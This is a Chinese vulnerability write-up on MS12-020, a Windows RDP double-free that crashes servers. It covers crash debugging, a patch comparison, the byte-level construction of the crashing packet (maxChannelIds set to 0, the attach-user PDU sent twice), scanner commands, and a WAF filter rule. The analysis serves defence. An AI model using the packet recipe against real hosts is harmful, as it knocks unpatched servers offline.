应用层拒绝服务攻击与防御之ms12-020
作者:星期五, 六月 22, 20180

一、前言

在对抗拒绝服务攻击的战争中,应用层的软件和服务变得越来越重要、复杂且相互关联,实现应用程序安全的难度也呈指数级增长。现代软件开发过程的飞速 发展,使得快速、准确地识别风险变得愈发的重要。这种攻击发生时,从监控设备或是防御设备上,往往还未发现任何异常,可能就已经造成服务器的不可用状态发生。应用层的攻击,往往是以获取敏感数据,获取更高的权限,甚至是取以得对服务器的完全控制为目的的。但在这个可用性就是一切的时代,一旦业务不可用会带来巨大的经济损失和风险,常常造成拒绝服务的应用层攻击有,安全配置错误,XML实体注入,反序列化以及使用了有漏洞的组件。

最近,针对某主机进行安全监测时,通过端口扫描发现了其可能存在ms12-020漏洞。该漏洞影响了XP,Vista,7,Server 2003,Server 2008 R2等,其中Server 2008的SP2补丁包是不包含该漏洞的修复的,使用原版系统安装完成后,需要使用windows update服务进行更新,而很多用户可能会忽视这一点,进而开放了有漏洞的服务。

二、漏洞成因

概要

当RDP客户端连接到远程桌面服务的服务器组件时,会在新建的回话中启用登陆及GDI图形子系统。在该会话中,GDI图形子系统依赖RDP特定的驱动程序RdpWD.sys–通过TCP连接传输键盘/鼠标事件的驱动。该渠道同样会创建虚拟通道去配置重定向到其他硬件驱动(磁盘,音频,打印机)-这将允许通过TCP连接传输被请求的数据。

调试定位

1、在测试机上,配置将蓝屏时崩溃信息保存至dump文件:

图一:配置测试机

2、载荷1进行攻击测试:
○攻击导致蓝屏并重启

图二:测试机BSoD

○根据上面配置的目录获取相应的dump文件

图三:获取dump

○配置symbol

图四:配置Symbol

3、windbg分析崩溃原因:
命令:
 !analyze -v
输出:
 termdd!IcaBufferAllocEx+0x42:
 fffff880`0281c722 488b4330 mov rax,qword ptr [rbx+30h]ds:002b:64536553`050a0124=????????????????—>指向错误的堆块

查看调用堆栈:

图五:崩溃时的调用堆栈

由于先入栈在高地址,则调用顺序是从下至上,我们可以整理得到相应的相应的汇编代码:

命令:

uf termdd!IcaBufferAllocEx+0x42
uf RDPWD!StackBufferAllocEx+0x72
uf RDPWD!MCSDetachUserRequest+0x2f
uf RDPWD!NMDetachUserReq+0x18
uf RDPWD!NM_Connect+0xcf
uf RDPWD!SM_Connect+0x15e

整理分析:

RDPWD!SM_Connect
fffff880`0677c562 b9020c0000 mov ecx,0C02h
fffff880`0677c567 498bd4 mov rdx,r12
……
fffff880`0677c59a 488b89b0000000 mov rcx,qword ptr [rcx+0B0h]
fffff880`0677c5a1 e81a090000 call RDPWD!NM_Connect (fffff880`0677cec0)
RDPWD!NM_Connect:
fffff880`0677cec0 4053 push rbx
fffff880`0677cec2 55 push rbp
……
fffff880`0677cf47 7408 je RDPWD!NM_Connect+0x91 (fffff880`0677cf51)
fffff880`0677cf49 488bcb mov rcx,rbx
fffff880`0677cf4c e88f5f0000 call RDPWD!NMDetachUserReq (fffff880`06782ee0)
—>会调用RDPWD!MCSDETACHUSERREQUEST
–>最终走到TERMDD!ICABUFFERALLOCEX+0XBA:CALL TERMDD!ICAFREESTACK (FFFFF880`02821DF0)
–>第一次FREE
fffff880`0677cf51 488b33 mov rsi,qword ptr [rbx]
fffff880`0677cf54 ba01000000 mov edx,1
……
fffff880`0677cf88 7405 je RDPWD!NM_Connect+0xcf (fffff880`0677cf8f)
fffff880`0677cf8a e8515f0000 call RDPWD!NMDetachUserReq (fffff880`06782ee0)
RDPWD!NMDetachUserReq:
fffff880`06782ee0 48895c2408 mov qword ptr [rsp+8],rbx
fffff880`06782ee5 57 push rdi
……
fffff880`067955e6 c744242019000000 mov dword ptr [rsp+20h],19h
fffff880`067955ee e88d020000 call RDPWD!StackBufferAllocEx (fffff880`06795880)
–>第二次free,返回错误的寄存器值
!StackBufferAllocEx:
fffff880`06795880 48895c2408 mov qword ptr [rsp+8],rbx
fffff880`06795885 57 push rdi
……
fffff880`067958e6 488364242000 and qword ptr [rsp+20h],0
fffff880`067958ec ff151e870000 call qword ptr [RDPWD!_imp_IcaBufferAllocEx (fffff880`0679e010)]
termdd!IcaBufferAllocEx:
fffff880`0281c6e0 48895c2408 mov qword ptr [rsp+8],rbx
fffff880`0281c6e5 57 push rdi
……
fffff880`0281c71c 0f848c000000 je termdd!IcaBufferAllocEx+0xce (fffff880`0281c7ae)
fffff880`0281c722 488b4330 mov rax,qword ptr [rbx+30h]—>出错

问题主要出现在RDPWD!NM_Connect函数下,调用了两次RDPWD!NMDetachUserReq函数进行释放堆块,却没有置标志位

Tips:x termdd!* 可以查看termdd模块下的函数

4、对比补丁前后的RDPWD.sys 补丁前版本:6.1.7600.16385
补丁后版本:6.1.7601.18540

IDA下: View–>Open subviews–>Names下查找函数:
○补丁后的NM_Connect函数:

.text:000000000001A2A7 mov ebp, 0FFFFFFFEh ->先置标志位
.text:000000000001A2AC jz short loc_1A2B9
.text:000000000001A2AE mov rcx, rbx ; struct tagNM_HANDLE_DATA
.text:000000000001A2B1 call ?NMDetachUserReq@@YAHPEAUtagNM_HANDLE_DATA@@@Z
—>NMDetachUserReq有两个free函数:termdd!_imp_ExFreePoolWithTag和termdd!IcaFreeStack
—>会先检查标志位再确定是否free,由于这儿置了标志位,则是调用termdd!_imp_ExFreePoolWithTag,避免double free

补丁前后对比(红框):

图六:代码对比

5、综合分析:
当用户发请求时,会从服务器分配ChannelID和UserID,并用链表保存ConnectInfo
在连接初始化时设定maxChannelIds等于0时,使得在分配ChannelID失败,进入到RDPWD!NM_Connect函数
RDPWD!NM_Connect会进入到NMDetachUserReq丢弃连接,这时会释放ConnectInfo,但是却没有置标志位,具体使用了IcaFreeStack
后面继续有用户请求,但是由于被设定为0,还是会失败,还是会使用IcaFreeStack进行free,造成了double free
之后又引用该堆作为继续分配,导致了Use-After-Free,进而内核的崩溃。

三、攻击载荷分析

客户端MCS连接初始化PDU的典型样例:

图七:初始化数据包单元

根据数据包格式要求构造攻击载荷

1、修正偏移0x158
00 00 00 00 -> TS_UD_CS_CORE::serverSelectedProtocol

2、编码RDP连接请求
03000013 0E E0 0000 0000 00 01 00 0800 00000000

TPKT头部 (长度 = 19字节):
03 -> TPKT: TPKT版本 = 3
00 -> TPKT: 保留 = 0
00 -> TPKT: 报文长度 – 高部位
13 -> TPKT: 报文长度 – 底部位 (总共 = 19 字节)

X.224 数据 TPDU:
0E -> X.224: 长度指示器 = (14 字节)
E0 -> X.224: 类型 = 0xE0 = 连接确认
00 00 -> X.224: 目的引用 = 0
00 00 -> X.224: 源引用 = 0
00 -> X.224: 类和选项 = 0
01 -> RDP协商消息 (TYPE_RDP_NEG_REQ)
00 -> 标志 (0)
08 00 -> RDP_NEG_REQ 长度 (8 字节)
00 00 00 00 -> RDP_NEG_REQ: 选择协议 (PROTOCOL_RDP)

3、附加用户请求PDU
03000008 02f08028

03 00 00 08 -> TPKT头部 (length = 8 字节)
02 f0 80 -> X.224 数据 TPDU (2 字节: 0xf0 = 数据 TPDU, 0x80 = EOT, 传输结束)
28 -> PER 编码 PDU 数据 (选择附件用户请求)

4、数据包下找到 Connect-Initial::targetParameters 头部: 30 19
30 -> ASN.1 BER 编码 SequenceOf 类型.
19 -> 序列数据的长度 (25 bytes)

头部跟随着 DomainParameters::maxChannelIds 信道: 02 01 22
02 -> ASN.1 编码整数型
01 -> 整形长度 (1 字节)
22 -> 实际值为 34 (0x22)

替换原有的 maxChannelIds (0x22) 的值为 0 – 这个字节位于数据包偏移的0x2C的位置。

5、得到的数据包如下 (标注的4个位置对应到4个修改):

图八:攻击载荷

对于数据包的这些修改都是完全合法的,除了这一点:就是设定targetParameters的maxChannelIds的值为0.这可能是整个数据包中唯一“邪恶”的字节。 实际测试中,发现第3点的附加用户请求PDU,发送一次是无效的,最少要发送两次。

当然,这份数据报文已经上传至CloudShark,点击下面链接即可在线分析数据报文:(用winhex打开,可以帮助分析协议的结构)
ms12_020_termdd.pcap在线解析报文

四、检测与防御

1、检测方式:主要通过扫描
○nmap:
nmap -sV –script=rdp-vuln-ms12-020 -p 3389
○metasploit:
use auxiliary/scanner/rdp/ms12_020_check
set rhosts exploit
○威胁态势感知引擎
帮助发现存在漏洞的主机
2、防御:
○端口—-缓解措施
开启RDP的主机,更换默认端口,一般的扫描都会针对3389端口,由于扫描器配置了大量的脚本,针对单个主机,一个脚本基本上只会扫描一定数量的端口,这对于大多数的扫描器有效;
○补丁
在Mircosoft下找到相应系统版本的更新补丁,下载并安装:补丁下载
○虚拟补丁
对于应用层 的防御,通过开发相应的过滤规则,配置到WAF实现对攻击载荷的过滤;并可以配置可以访问端口的网段。在对于ms12_020的过滤规则上,主要到DomainParameters::maxChannelIds的设定为00时会触发漏洞,而且设置目标主机的最大信道为0也与正常的用户行为不符合。具体实现:
(1)对RDP端口上数据包进行匹配,发现数据流:03000013 0E E0 0000 0000 00 01 00 0800 00000000–>判断为RDP发起–>继续

(2)读取偏移0X2D数据,和00比较,相同则阻止传输该IP后续的报文
○安全的系统镜像
除非用户自主选择安装系统镜像,对于要求安装的常用服务器系统,都会提供并安装已更新到了最新补丁的系统。由于更新会频繁重启或出现兼容性问题,浪费时间并影响业务,构建安全的系统镜像是十分重要的

五、总结

应用程序是人创建和维护的最复杂的系统之一,建立良好的日志记录和监控以及威胁感知系统,可以及时发现主机存在的安全隐患。通过WAF实现虚拟补丁并配合清洗设备和抗D技术,构建从反射放大的流量型攻击,利用TCP协议的Flood攻击,利用真实IP进行容量耗尽的CC攻击以及应用层攻击的全方位的防御体系,并缺一不可。采用多层的解决方案,利用好威胁情报功能和预警系统,并时刻保持警惕对待时刻到来的攻击,维护客户业务的可用性。

引用资料

Luigi Auriemma
MS12-020 Vulnerability for Breakfast
CVE-2012-0002(ms12-020)深度分析报告

 

申明:本文系厂商投稿收录,所涉观点不代表安全牛立场!


相关文章

没有相关文章!